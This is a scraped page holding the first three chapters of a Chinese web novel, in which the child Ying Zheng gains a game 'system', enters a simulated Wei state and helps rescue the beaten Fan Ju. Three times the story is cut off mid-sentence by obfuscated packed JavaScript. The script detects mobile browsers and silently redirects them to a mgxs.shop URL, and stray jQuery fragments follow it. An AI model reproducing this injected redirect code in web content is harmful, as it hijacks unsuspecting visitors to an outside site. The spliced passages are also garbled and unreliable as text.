《基建游戏,但玩家是秦始皇》
1. 第 1 章
赵孝成王十五年,孟春。邯郸外郭。
尘土飞扬的集市上,几个皮肤黝黑的老黔首蹲在柳树下,麻鞋踩着开春的湿泥,扒拉着稀疏的胡茬,唾沫星子混着咒骂飞溅。
"哼!燕蛮子就是这般下作,趁着咱们与秦狗鏖战,竟敢行此鼠窃狗偷之事偷袭咱们。却也不看看他燕国算个什么玩意?"
“廉颇将军已领大军出征,定能打得燕人屁滚尿流!”
前不久燕王喜认为刚和秦国打完仗的赵国“壮者尽于长平,其孤未壮”,趁机发兵六十万攻打赵国鄗城。赵国大将廉颇带兵出战,几日前刚出征。
“可恨那西戎杂种!若非长平坑我四十万儿郎,燕贼安敢犯边?”
一口浓痰,砸在匆匆路过的少年脚边。
嬴政拢了拢洗的发白的麻衣,像没听见一样,从几个唾沫横飞的老赵人中间穿了过去。
越接近住所,嬴政脚步越来越快。
他走到一处僻静四方小院前,从后门侧身而入。
“阿母。”
一个相貌柔美的妇人听见推门声,急匆匆出门迎接。
"可曾打听到秦国消息?"赵姬忙拉着嬴政回到屋内,急切地凑近,压低声音追问。
嬴政抽回手,神色冷淡:“阿母何必急迫。”
赵姬脸色瞬间煞白,猛地攥住嬴政的手腕,指节用力到发白,几乎要掐进他的皮肉。
“如何能不急,你是秦国王孙之子,你身上留着历代秦王的血!只要、只要你父亲接……”赵姬声音尖锐。
嬴政眉心一跳,强压着涌上来的怒意,连呼吸都放轻,唯恐隔墙有耳。他缓缓站起身,背过身去,低声道:“阿母慎言,此处没有什么秦国王室子弟,只有赵政。”
赵姬身子一软,跌坐在席上,双手掩面,喃喃道:“你父会来接咱们的,吕先生去岁还捎了信……”
嬴政张张嘴,他看着自己相依为命的母亲,一肚子的话最终也没说出来。
尽管年仅八岁,可担惊受怕、四处躲藏的童年,早已让嬴政的心智有远超同龄孩童的早熟。
若那位秦王孙值得依靠,他当年就不会抛下孤儿寡母独自逃回秦国。
嬴政没有把这番话说出来,他知道赵姬唯一的指望就是远在千里之外的嬴异人想起他们母子,将他们接回秦国。
赵姬哭了一会,只是再多的眼泪哭了六年也哭干了。她抬起袖角拭干净眼泪,站起身:“有吕先生在,你父断不会忘了咱们。”
赵姬口中的“先生”是吕不韦。吕不韦在邯郸一眼相中落魄质子嬴异人,认定他是“奇货可居”,散尽千金替他结交权贵,甚至还向赢异人献上美人。
那位被送给赢异人的美人,便是赵姬。
赵姬从陶甑中拿出一碗掺着豆的粟饭,塞给嬴政:“吃完早些睡。”
嬴政低头扒饭,喉结滚得飞快。他比同龄人高半头,骨架子也宽,这一碗下肚,肚子里仍空落落的。可他没吭声,只把碗沿舔得干干净净,一声不吭回到他的卧房。
这座宅院并不算小,起码对赵姬嬴政二人而言十分宽敞。吕不韦富甲天下,纵是如今远在秦国,却也亏待不了嬴政母子。
推开木门,卧房却空荡荡的,丝毫不像是家的模样。嬴政习以为常,他和母亲经常要更换藏身之所,东西多或少,都不属于他。
嬴政翻开一卷竹简,借着门缝透过的光读书。
日头终究是沉进了群山的墨色里,薄云被染成淡墨,月亮才慢悠悠爬上树梢,在地上投下一片清霜。
嬴政阖了阖眼,用指腹抚摸竹简上的字痕,嘴唇翕动,默背文章。
他不知道吕不韦的承诺算不算数。
可若有朝一日他当真回到秦国……嬴政不能容忍自己一无是处。他不能像邯郸街头的乞儿,见着贵人的车架就发抖;不能像阿母,把命系在一个男人的“许诺”上。
夜深了。
寂静的夜里忽然闪起了流光,一道流星划过夜空。
邯郸城头巡逻的队伍,一个老卒抬头看了一眼,惊恐跌倒,慌张大叫。
什长顺着老卒的目光抬头,却只见黑墨天幕空荡荡的,连片云都没有。他脸一沉,厉声喝骂:“好好巡逻!真是老糊涂了。”
老卒抬手揉了揉眼,昏花的老眼里果真什么都没有了。他便以为方才那一闪而过的光是自己的错觉,缩着脖子讪讪从地上爬了起来。
按赵制,年过六十者当免戍,老卒六十三了,老眼昏花也难免。可赵国实在太缺士卒了,长平之战一战就死了四十万青壮,今岁又遇上燕国趁虚而入……老卒的儿子早就死在了某次大战中,于是老卒又被征召守城。
这几百年都是如此,今日秦攻赵,家家缟素,明日赵伐燕,流血漂橹,年复一年地打仗,没有哪年能安稳。
一点萤火在邯郸城中穿梭。
【已突破世界屏障……世界绑定成功……定位完成……检测时间线为战国末期,符合本游戏要求……寻找穿越者玩家中……】
系统108号化成一道流光,迅速飞向雷达地图上标注感叹号的地方。
【太阳当空照,系统对你笑,108对你说“早早早,穿越者的外挂到来了~”】
系统108号哼着自编的电子小调,欢快地扑向雷达上那个闪烁的感叹号。
《万界历史游戏》——这是一款风靡高等文明的超时空游戏直播企划。专门搜寻那些因意外“穿越”的特殊灵魂,将他们绑定为玩家,投放到各个历史副本中,为星际观众提供一场场沉浸式真人秀。
而108号接到的任务,就是辅佐一位刚穿越到战国时代的倒霉蛋。作为主系统手下最智能的助手,它一定会辅佐这位穿越者现实游戏两开花,现世里参与动荡乱世、封侯拜相,游戏中通关副本,直播收获大量人气值,走上人生巅峰!
很快,108号就抵达了目的地——一个破破烂烂的院子。
【让我看看穿越者在干什么……啊啊啊!】
茅屋正中,一具尚有温热的少年尸身直挺挺躺着。一妇人伏尸痛哭,嗓音嘶裂。
“我的儿,你好狠的心,怎么就疯了……怎么就一头撞死了啊……”
穿越者的尸体还热乎着。
还热乎着也已经死了啊!
108号心如死灰的看着尸体头顶上加粗的箭头,深蓝的箭头直直指向尸体,仿佛是在嘲笑108号一样。
【重大危机!重大危机!穿越者已死亡!】108号疯狂转圈,一秒钟给主系统发出了1T的重
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344866|199492||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
复消息。
它疯狂打转,数据流乱窜,【出师未捷身先死啊!我要被格式化了啊啊啊——!】
半刻钟后,主系统冰冷的回复抵达:【特大事故确认。现授权你,于本世界就近绑定一名原住民作为替代玩家。】
108号如蒙大赦,立刻顺着新坐标扑去。
月色清清。
嬴政吹灭了油灯,和衣躺在床上。
他和阿母要时常改换住所逃避赵人监视,嬴政养成了和衣而睡的习惯,方便立刻逃走。
【检测到高强度灵魂……符合绑定条件。是否绑定《万界历史游戏》辅助系统?】
一道奇怪声音,骤然撞进嬴政的脑海。
嬴政惊起,单手握住压在枕下的匕首,扫视四周,却没看到人影。
他的指节绷得发白:“是谁在说话?”
【我是系统108号。】一道幽蓝光球在他眼前浮现,语气努力显得亲切,【本系统可助玩家建功立业,甚或……封侯拜相。只需完成副本任务,积累人气,便可兑换超越时空的技术。】
108号奋力吹嘘,祈祷面前这个看来还没成年的预备玩家不要把它当成鬼拒绝了。
嬴政歪头看着面前这个一看就不是人的蓝色光球,在108号侃侃而谈的半刻钟里一言不发。
等到108号终于说完了绑定它的好处后,嬴政才开口。
“先生能否帮政前往秦国?”嬴政问了一件和鬼神风牛马不相及的事情。
【可以】
“政愿绑定。”嬴政一口应下。
或许这个名叫系统的东西别有用心,可那又如何?吕不韦别有用心,却也是吕不韦帮助他的父亲逃回了秦国。
他不怕被利用,他只怕自己连被利用的价值都没有,最终悄无声息地烂在邯郸的泥里。
108号已经准备好的一百条证明自己不是鬼的证据卡在输出栏里。尽管出乎大数据预测,108号还是尽职尽责往下推进流程。
【玩家绑定成功,请输入ID(名称)】
嬴政犹豫片刻,叹了口气道:“赵政。”
【叮,绑定成功。检测玩家基础信息中……
玩家名称:赵政(嬴政)
年纪:八岁
身份:秦国质子
开始游戏吧!前路漫漫,但未来可期,封侯拜相……啊啊啊!】
108号的声音戛然而止。
“先生?”嬴政疑惑歪头,稚嫩的脸上略带不解。
哥,您是嬴政啊!!!108号无声尖叫。
我辅佐嬴政封侯拜相吗?那很能拖后腿了!
没有听到回答,嬴政以为是自己的态度不够好。他从赵姬的口中听过赢异人对吕不韦的敬重。
嬴政的心提了起来。无论面前这个东西是鬼神还是人为,他现在都只有这一根救命稻草。
他的姿态平稳得不合年龄,声音却带着一丝微不可查的紧张:“无论政能否归秦,皆愿以师礼待先生。请先生助我。”
毕竟再成熟也只有八岁。
那团幽蓝的光猛地一颤。
【检测到玩家潜力过大……台词修正中。
开始游戏吧!系统将辅助玩家实现文明崛起、寰宇归一】
2. 第 2 章
翌日,嬴政从睡梦中惊醒。
嬴政回忆起过于清晰的梦境,打了个哈欠。
抬起的手碰到了一块冰冷的东西,下一瞬,嬴政看着钻出来的光球顿了顿。
……不是梦。
窗外天还没亮透,赵姬已在烧灶。
嬴政顶着一双黑眼圈起身。赵姬吃了一惊,对母亲只说是屋内进鼠没睡好,匆匆塞了几口豆粥。
赵姬并不是十分细心的人,对嬴政的心不在焉也只当做他晚上没睡好所致。
天色微微暗淡,嬴政就钻回了屋里。
他换上便于翻墙钻巷的短褐,防身匕首贴着小臂缠紧,刃尖抵着腕骨,这是一个随时都能抽出匕首的位置。
尽管游戏手册中写着游戏副本中死亡无关现世,嬴政依然尽可能做好了准备。
他对不知真假的许诺没有完全信任。
“开始游戏。”
嬴政还带着软肉的小脸上满是严肃。
只有嬴政能看到的光球从嬴政掌心握着的玉玦中钻出,围着嬴政转了两圈,钻入嬴政眉心。
嬴政感觉自己的脸颊被蹭了蹭,又快的仿佛只是错觉。
应当是错觉,模拟器乃是神器,怎会故意碰他的脸呢?嬴政迅速将这个自作多情的念头压下去。
【检测玩家中……
玩家:嬴政
年龄:八岁(自动开启未成年防沉迷模式)】
【技能词条:
天命(成长词条·灰):秦国质子,身份带给你的,目前只有麻烦
过目不忘(金):你生来聪慧,过目不忘
野心(紫):你怀揣超乎常人的野望,它将催你做出抉天改命的选择
察言观色(蓝):辨人更准,有一定概率识破他人的浅层伪装与真实情绪
三人行必有我师(蓝):你擅长模仿周围人的言行举止……】
十几条词条滚过,金光与蓝白交错。
嬴政默默记下来这些技能词条。
看到自己一大串代表低级的白色绿色词条,嬴政嘴角抿成一条短短的直线。
如此无能,就算回到秦国,也比不上那些出生于咸阳的秦国王室子。
隐约能察觉到嬴政想法的108号陷入沉默。
你现在只是八岁的幼崽啊!金色技能词条,这东西都得是后期抽奖才能抽出来的好东西,你天生就有!
幽兰光幕上,一个大转盘出现。分为几个大板块,每个大板块中又包含许多看不清字的小板块。
嬴政只来得及捕捉到“汉”“宋”几个字,光幕就加速到超过了他的能视程度。
【这是新手第一个副本,你还有未成年保护,新手副本应该会选择你比较熟悉的时代】
108号安慰嬴政。
指针最后停在了【春秋战国】一栏。
【游戏开始
时代:战国后期
地点:魏,大梁】
【直播间已开启】
“哎呀,我那苦命的阿姊啊!”
哀嚎刺入耳中。嬴政抬眼,已在颠簸的驴车上。
车边的麻衣男人正擤鼻涕,见他不动,忙用丝帕抹了脸,抱他下来,又抓了把布币打发车夫。
嬴政身体一僵,垂眼时,瞥见对方袖口漏出的灰蓝丝帛内衬。
这是个商贾,嬴政做出了第一个判断。
嬴政在赵国接触过不少商贾。各国重农抑商,贾人地位最低,商贾再有钱也不能穿华贵的衣裳,可商贾有钱,多会偷偷将丝帛和细绫做内衬穿在麻衣里面。
男人见嬴政没有反应,只当嬴政是被吓傻了:“我是你舅父啊,你小时候我还抱过你呢。”
他拉着嬴政往院内走,便走便碎碎絮叨。身为商贾,男人嘴皮很利索,三言两语便介绍清楚了二人的关系。
男人名叫郑安平,是魏国商贾,也是嬴政这个身体的舅父。郑安平的阿姊十年前嫁去了赵国,去岁夫妻俩染疫走了,临死前把嬴政托付给了郑安平。
嬴政如今的名字叫张政。
【你叫张政,是从赵国来魏国投奔舅父的孤儿,你的舅父郑安平是一个魏国商贾】108号的旁白声响起。
郑安平对这个阿姊留下的唯一孩子十分心疼,忙唤仆人给嬴政洗漱。
嬴政眨眨眼,低头握了握拳头。因为这极致的真实感,他心中掀起惊涛骇浪。
何等的鬼神之力!
也许,他不仅能依靠这个名叫系统的鬼神返回秦国,还可以……
“阿政,一路舟车劳顿,你先洗漱。”郑安平将嬴政交给仆人,也将嬴政的心神拉回来。
换上新衣,嬴政就被带去和郑安平一起用膳。
郑安平见到嬴政,又开始用丝帕抹眼睛,拉着他的手絮絮叨叨哭了小半个时辰,末了又连声问:“这一路上可曾吃苦?赵国到魏国路途遥远,盗匪又多,可曾遇到凶险?”
嬴政哪有什么奔波逃难的记忆,只能硬着头皮,把在邯郸街头听游侠吹嘘的“夜宿荒祠遇狼”之类的闲话,挑拣着拼凑了几句。
“舅父教你剑术。”郑安平听得一惊一乍,又是后怕又是心疼,拍着嬴政的背道,“这世道不太平,不会些技击之术,哪敢出门。”
用过膳,郑安平便带着嬴政去书房,从木架后抱出数把长剑,一回头就看到自家小外甥站在书架前盯着竹简双眼冒光。
“哎,那些破竹简看着让人昏昏欲睡,毫无用处,我教你练剑!”
郑安平二话不说就把嬴政拎走了,嬴政身体被拉走了,眼神却还黏在竹简上恋恋不舍。
直播间也终于有观众点进来了。
【好可爱的小孩哥,不过年纪也太小了】
零零散散有几个人点了进来,看到玩家是一个明显未成年的小孩后又不感兴趣地退出了直播间。
翌日一早,月还未落,薄云好似推开的淡墨,清幽幽的萤火虫在莎草丛上下飞舞。
院中用来打鸣报晨的公鸡还趴在窝里。
一道身影静悄悄走出内室。
嬴政小心翼翼推开书房木门,从狭窄的缝隙间钻进去。
郑安平虽不如吕不韦那般豪富,但家中也不缺油灯。嬴政点燃油灯,踮起脚从书架上抽出一卷竹简,迫不及待翻开,却又垮下小脸。
他不认识魏国字。
嬴政气鼓鼓把竹简塞回去。
天下就该通用一种文字才对!
郑安平发现他的外甥不对劲——具体表现为,这位贤甥沉迷读书,不能自拔。小外甥跟随他学剑术的第二日,又提出要学习魏国文字和语言。
郑安平欣然同意。在他看来,这个出身赵国的外甥要随他一同在魏国居住,学会魏国的文字语言很有必要。
可自从嬴政学习识字,郑安平就察觉出了问题。他特地准备了一本《诗经》给嬴政开蒙,还请来一位落魄士子做门客。
不足三月,士子便惭愧地向他辞行。郑安平还以为是嬴政淘气,想加钱挽留。
谁知士子说“贵甥已学会我所有学问,我学问不精,不敢耽误贵甥。”并建议郑安平将嬴政送往齐国稷下学宫,跟随各家贤人学习。
那头发都快秃没了的老士子边说边用一种“这等美玉怎么就生在你这种粗鄙商贾之家”的惋惜眼神瞥他。
郑安平思来想去一整夜,觉得他的确应该做些什么。
不仅是为了嬴政这个外甥,也是为了他自己,他不想一辈子当穿件丝帛衣裳都要偷偷摸摸的商贾。
嬴政一直待在书房读书。
对于把先生“逼”走,没人教他读书这事,嬴政并不在意。郑安平找来的士子水平还比不上吕不韦曾经派来教他识字读书的人,不过两月工夫便被他将肚中学识学了个干净。
于他而言,已经没有价值了。
嬴政把心思放在了自己新产生的两个技能词条上。
【通晓魏语(绿):你能流利说魏国口音,读写魏国文字】
【读书破五十卷(绿):你读过五十卷书册】
嬴政十分满意自己的进度,肝技能让他有一种成就感,脑子里知识的增多让他很有安全感。
在这个副本里,他是真能学到东西。
他的系统比他爹的吕不韦好用多了!
随着嬴政又开始学习,他看不见的直播间屏幕也零星飘过几条弹幕。
【打卡,考研+1】
【打卡,大学生期末周又复习完一科】
【第一次来,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344867|199492||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你们为什么都在打卡?这个主播是干什么的?看这个场景应该是内宅,难道是宅斗主播?】
过了好久,才出现一条弹幕回复:【应该是学习陪伴主播吧,这个主播虽然年纪小,但是很爱学习,每天能学十个小时……】
几日后。
郑安平一大早便把嬴政拎了起来,他兴致冲冲让嬴政换上新衣,又收拾了一大车的布帛财物,带着嬴政出门。
“舅父今日带你去拜见贵人。”郑安平脸色激动,三言两语把这几日的事情告诉嬴政。
嬴政这才知道,原来郑安平这几日是花钱疏通关系,终于得到了今日能混进魏国公子兼魏国国相魏齐宴会的机会。
郑安平还特意叮嘱嬴政要谨言慎行,不要着急攀附权贵。
“咱们今日就是去混个面熟,混在人群里面吃顿饭也就是了,莫要往人前去。”郑安平叹了口气,“这些贵人看不起咱们,硬凑上去,反倒碍眼。”
这番话是告诫嬴政,却也是告诫他自己。就连嬴政都能轻易听出其中的不甘心。
嬴政抬头道:“并非全无他法,得权贵引荐,商贾亦可出仕。”
“这倒是。”郑安平嘀咕一声,越发觉得这个外甥非同凡响,“你小小年纪,竟还懂仕途。”
嬴政听闻此言,扯了扯嘴角。赵姬不知在他耳边念叨过多少遍吕不韦结交他亲爹赢异人的旧事。
“奇货可居”这个词他耳朵都快听出茧子了。
不多时,马车就停在了一处髹漆朱门前。此处宅院飞檐斗拱,以朱门为表,兽首铜环为饰,门前列戟显威,来往车马不绝。
正是魏国公子兼权相魏齐的府邸。
来往仆从具是眼尖之人,见嬴政二人粗布麻衣,一望即知富而不贵,便无人上前迎接。
郑安平忙陪上笑脸,狠狠心掏出一片金页塞给路过仆人,才换来对方在前引路。
“这世道便是如此,商贾低贱,纵有几个钱,也处处受人轻视。”郑安平怕嬴政年少气盛受不住这般冷遇,得罪贵人,忙拉着他低声宽慰。
一转头,却看见嬴政神色如常,脸上的神情比他这个成年人还冷静。郑安平不禁挠了挠头,讪讪收了话头。
嬴政二人随引路家仆穿过三道朱漆门廊,沿途见庭中白石甬道旁列着青铜雁鱼灯,郑安平不禁露出怯色。
竟富贵如此!
踏入正院,家仆却引着他们绕过正厅,直带到一处边角小厅前。厅内已站了几个身着锦缎深衣、腰系玉带钩的相府门客,周围早围满了前来逢迎的商贾。
那些门客满脸倨傲,对身边谄笑的商人看也不看。
见此情景,郑安平脸色一沉,忍不住低低咒骂一声。嬴政虽未听清,却也猜得出他心中所想。
郑安平在马车上还对他夸下海口,说自己花费百金疏通关系,要带他去国相府上赴宴,结交权贵。
结果魏齐收了钱,却只打发几个门客来应付他们这些商贾。
郑安平闷了半晌,还是抹了把脸,袖子落下时,面上已又堆起了笑。
“来都来了,钱总不能白花。”他自劝一句,端起酒盏便凑上前去寒暄。
嬴政却神色自若,在角落的席位上安然端坐。周遭或轻视或打量的目光落在他身上,他也浑若不觉。
“你是哪家子弟?”邻席坐着个头戴缁冠的少年,见他年纪虽小却气度沉静,心中一动,便扯出笑脸搭话。
嬴政侧目答道:“商贾郑氏之人。”
少年顿时皱了眉头,仿佛看到了什么不干净的东西一样嫌恶,脸上浮现轻蔑:“商贾之后竟也敢在此安坐?”
这是一个落魄贵族子弟,可偏偏是这等人最喜欢强调身份尊卑。没有其他地方能拿得出手,只能以出身彰显自己。
嬴政垂目,冷漠盯着杯中清水,嘴角紧绷。
只是在心中给魏国记上了一笔,把魏国排在了赵国后面。
【哇,主播终于出门了。刚才那个丑男人好讨厌,居然欺负我们可爱善良的小主播】
【我们小主播只会学习,根本不懂这些勾心斗角!】
两条零星的弹幕飘过。
嬴政这个直播间人气太低,平时只有几个备考的学生会来找学习陪伴感。
3. 第 3 章
酒过三巡,厅外忽起一阵骚动。
庭院倏然一静。
方才还喧嚣的奉承劝酒声戛然而止,所有人的目光都移向庭院中央。
一个形容狼狈的中年士人被两名魁梧门客从正厅架出,深衣已被扯得凌乱,发冠歪斜,鬓发散乱。
魏齐缓步迈出,他身着锦缎深衣,身后簇拥着一众权贵,神色倨傲。
他立于阶上,居高临下,冷笑一声:“此人在使齐时私受贿金,误我魏国大事,其罪当死。”
话音未落,一个门客已抬腿猛踹在男人膝窝。骨节撞石的闷响让席间不少人肩头一缩。男人向前扑倒,额头触地,鲜血潺潺,顿时流了一地。几处宴厅一片死寂,唯闻皮肉被击打的钝响、肋骨断裂的脆声,交替回荡在庭院里。
不知过了多久,男人瘫在血泊中,仅余的手指微微抽搐,眼见是活不成了。
“拖下去,扔进厕中。”魏齐语气平淡,如同吩咐丢弃一件秽物。
两名仆役上前,抓起脚踝,倒拖着那人离去。身躯划过石板,留下一道蜿蜒粘稠的血痕。
很快,庭中血迹便被仆人泼水拭净。丝竹声小心翼翼地重新咿呀响起,却再也掩不住那股甜腻酒臭下隐隐的血腥气。
嬴政仍坐于席间,未动分毫。他自有分寸,凭他现在的身量,挤也挤不进去。何况他本就不好奇,谁触怒了魏齐、下场如何,他并不在意。
宾客陆续归座,气氛已与先前截然不同,肉眼可见的众人老实了许多。
郑安平白着脸挤回嬴政身侧,惊魂未定地压低声音:“那是中大夫须贾的门客……前些时日随使出齐,私下收了齐王的钱财,被须大夫察觉。今日就被国相拉出来,活活打死了。”
嬴政觉得有些不对:“既已收了齐王赏赐,此人为何不留在齐国?”
“这就不知了,”郑安平声音更轻,脸上却浮起惯常的八卦神色,“方才那人在国相面前辩称,他未曾出卖魏国,齐王赐金是欣赏他才华。”
“国相岂会信他这等鬼话?当即令人打落他的牙,又拖到院中示众。”
嬴政默然。郑安平还以为嬴政被吓到了,拍拍嬴政肩膀安抚。
“没事,咱们又没有那个本事出卖魏国。”
“此人姓甚名谁?”嬴政忽然问道。
郑安平“嘶”地吸了口气:“不过是个门客罢了,谁会在意他名姓……我再去打听打听。”
他平复了心情,又端着酒盏再次挤入人群,留下嬴政一人。
席间酒气熏人,嬴政悄悄起身离座,绕至回廊下透气。
夜风带着初秋的凉意,却吹不散空气中那股甜腻的酒臭与隐约的血腥气。他本欲寻个僻静处,却听见溷轩方向传来哄笑与污言秽语。
鬼使神差地,嬴政放轻脚步走过去,隐在廊柱阴影里望去。
几个华服宾客正歪歪斜斜围作一团,个个满面酡红,显然是酒酣耳热。他们围着的,正是方才被拖下去的那个中年男人。
男人此刻瘫在厕边污秽之地,一动不动。
“都……都来看看!”一个喝得舌头都大了的瘦高个率先解开腰带,摇摇晃晃上前,嘴里含糊嘟囔,“这等、这等卑污之人,就该用卑污之物……洗洗……”
“哈哈哈!妙!妙!须大夫所言极是!”旁边几人拍手哄笑,仿佛在看什么绝妙的把戏。
嬴政紧紧攥住了袖中的拳头,他心中掠过一丝说不清道不明的愤怒。
士可杀不可辱。
今日的魏人,他日的赵人,皆只会以侮辱旁人为乐。
嬴政转过身,不愿再看。
一阵风吹过,被团团围住的那句“尸体”指尖微不可查动了动。
“你去哪了?”郑安平早已回席,正焦灼难安,见嬴政全须全尾地回来,才松了口气。此处权贵云集,又刚出了人命,他实在放心不下。
随即,他话头一转,压低声音,带着分享秘闻的兴奋:“我打听到那倒霉蛋的名姓了。”
“他叫范雎。”郑安平兴致勃勃,“此人先前随须大夫出使齐国,齐王独独赏赐他十万金与酒肉,这才惹了祸端……”
噗通!
铜箸堕席,铿然一响。
郑安平被惊地声音顿停,抬头看向嬴政,发现嬴政神情惊愕。
嬴政迅速收敛了神情,装出吃痛之色:“不小心踢到案角了。”
他低头捡起掉落的筷子,借着桌案的遮挡,才终于流露出几分震惊。
范雎——那个被当庭殴打、扔进厕所羞辱的人,竟然是范雎!
与武安君白起齐名的范雎!
从小在赵国长大的嬴政,对秦国大多数人都是陌生的。他对秦国局势的了解,少许来自吕不韦找来教授他识字的人,大多来自周围赵人平日的只言片语。
教他识字之人对范雎推崇备至,周围赵人提起“范雎”这个名字就是最肮脏的怒骂。无一不证明“范雎”这个名字的重量。
长平之战,白起坑杀四十万赵军。那是嬴政命运的起点——他出生于长平之战结束的第二年,那是赵人最仇恨秦人的时期。长平之战后,秦国乘胜追击,围困邯郸。他的父亲嬴异人就是在那时抛下他和母亲独自逃走,之后这些年他一直东躲西藏……
而长平之战中,白起与廉颇僵持不下,正是范雎出手,用离间计诱使赵王用只会纸上谈兵的赵括替换廉颇,导致赵国惨败。
嬴政捡起筷子,却再也无心动筷。
“108号。”八岁的嬴政满是困惑,他忍不住在心中默问。
【我在呢~】
“那个人……真是范雎?应侯范雎?”嬴政仍不敢置信。
【是的呢~游戏副本完全模拟历史,百分百还原哦】
嬴政心头重重一颤,万般复杂,难以言喻。
名震天下、让赵人咬牙切齿的范雎,竟也有这般受辱的时候吗?
后半场宴席,嬴政食不知味。
他毕竟年幼,纵是心性比同龄人沉稳许多,亲眼见到范雎受辱的冲击,依然让他的心神难以维持平静。
天微黑,宴席结束,宾客三三两两散去。
郑安平唉声叹气。他谄媚了一整日,却碰了一鼻子灰。
“私下收钱时也没见他们嫌商贾的钱脏,人前倒端起架子了。”郑安平低声抱怨着,却也无可奈何。形势比人强,权贵收了他的钱却什么都不做,他连讨个说法的地方都没有。
他未曾察觉,自己已下意识跟着嬴政走,两人前行的方向,渐渐偏离了正门。
厕门大开,里面空空如也。
嬴政瞥了一眼地上明显的拖拽痕迹,直到范雎已经离开了魏齐府邸,他紧绷的心弦微微一松。
他清楚,自己现在没有能力在相府内帮助范雎。嬴政很冷静,也很惜命,哪怕是副本中的小命他也很珍惜。
……郑府书房里还有好多书他没读完呢。现世中他颠沛流离,可没有这么安稳的条件读书。
他要在副本中卷死那个在咸阳出生长大的、他爹在秦国生的儿子嬴成蟜!
天色渐黑,府中灯火通明,将门前照得亮如白昼。
宾客们酒酣耳热,三三两两相携而出。有人高声谈笑,有人醉步踉跄,还有人拉着魏齐府中管事的手,絮絮叨叨说着奉承话,迟迟不肯登车。
魏齐府邸朱门外已乱作一团。车马争道,仆役呼喝。郑安平这类“可怠慢”的宾客,费了好大劲才从后门找到自家马车。
他拉着嬴政,好不容易挤到车前,忙不迭地钻了进去,长长舒了口气。
刚坐下郑安平就忍不住怒斥:“欺人太甚!天下岂有请人赴宴,却让宾客从后门离开的道理?”
嬴政掀起车帘一角,后门处只有寥寥几驾朴素马车,安慰道:“好歹道路宽敞。”
礼制规定“贾人勿得乘轩车”,商贾只能使用牛车或单马、双马的马车,禁止用朱盖、羽盖,只能用素色布盖。
相府下仆倒是眼尖,一眼就能从车马样式分辨出,什么人能得罪,什么人不能得罪。
只是不知,为何下仆人人利眼,身为主人的魏齐,却偏生长了双不识贤愚的瞎眼。
“范雎既能得齐王重金相赠,足见其才。魏相不用其人,反如此折辱。国无贤才,何以强盛?”嬴政忽然看向郑安平,像身边唯一的成年人发出了真诚的疑问。
莫非为秦国提供人才是魏国的风俗文化?他记得商鞅和张仪也都是魏国人。
郑安平沉默片刻,挤出来一句话:“大人的事情小孩少打听。”
嬴政怀疑地盯着郑安平,直把他盯得背后流冷汗。
郑安平不禁在心下叫一声:苦也。
作为小屁孩,老老实实拿着木剑和其他流鼻涕的小屁孩滚成一团就好了,整日问这些士大夫们关心的事干吗?
马车沿着小路前行,路旁,一卷草席微弱起伏,一只苍白干瘦的手猛然伸出!
“呀!”车夫短促的惊呼打断了车内舅甥二人尴尬的气氛。
郑安平探出头。只见一个披头散发的人正扒着车轴,浑身恶臭扑鼻。他刚想喝问,就被熏得干呕连连。
“呕……你、呕……”郑安平捂着鼻子,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344868|199492||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脸色发青。
借着月光,他倒是认出来了,这正是宴席上被“打死”的范雎!
“请贵人救我一命,范雎若得活,日后定重谢贵人!”范雎死死抱住车轴,上半身匍匐在车轴上,声音沙哑破碎。
他装死被弃,哀求仆人谎报尸首,才得裹席抛出。可明日收尸,若见未死,魏齐绝不会放过他。他必须逃!
这个路过的商贾,是他唯一的救命稻草。
郑安平大惊,张口就要拒绝。范雎摆明了是魏齐的仇人,他一个商贾,哪敢掺和国相的私怨?
忽然,一只小手搭上了他垂在身侧的小臂。
“舅父,你取百金打点人脉,可有所得?咱们家中又有几个百金可用?”嬴政眼珠黑沉沉,声音很轻。
郑安平心头一跳,已到嘴边的拒绝又咽了回去。
他看向浑身是血、命悬一线的范雎,眼神已变了。方才他只当范雎是麻烦,此刻却已换上商贾身份,估量眼前这件货物的价值。
商贾想翻身太难了。今日宴席上,他赔笑又赔钱,却连权贵的一个正眼都换不来,想起那些鄙夷的目光,郑安平心头火起。
“把人拉上来。”郑安平神色几变,一咬牙跳下了马车。
范雎强撑到极致的理智终于一松。他狠狠咬破舌尖,混着血沫一字一句发誓:“范雎来日,定重报恩公。”
“你能不能活下来还两说呢……”郑安平看着浑身是伤、骨头不知断了几根的范雎,并没抱多少希望。
一场高热足以要人性命,范雎身上这么多伤,今夜定会发热,十有八九活不过三天。
身为商贾,郑安平最清楚投入少,就不要指望回报能高这个道理。
一个大钱没花费,路边捡来的人,能有用到哪去呢?不过是他心中愤愤不平,又加上免费的士人不捡白不捡罢了。
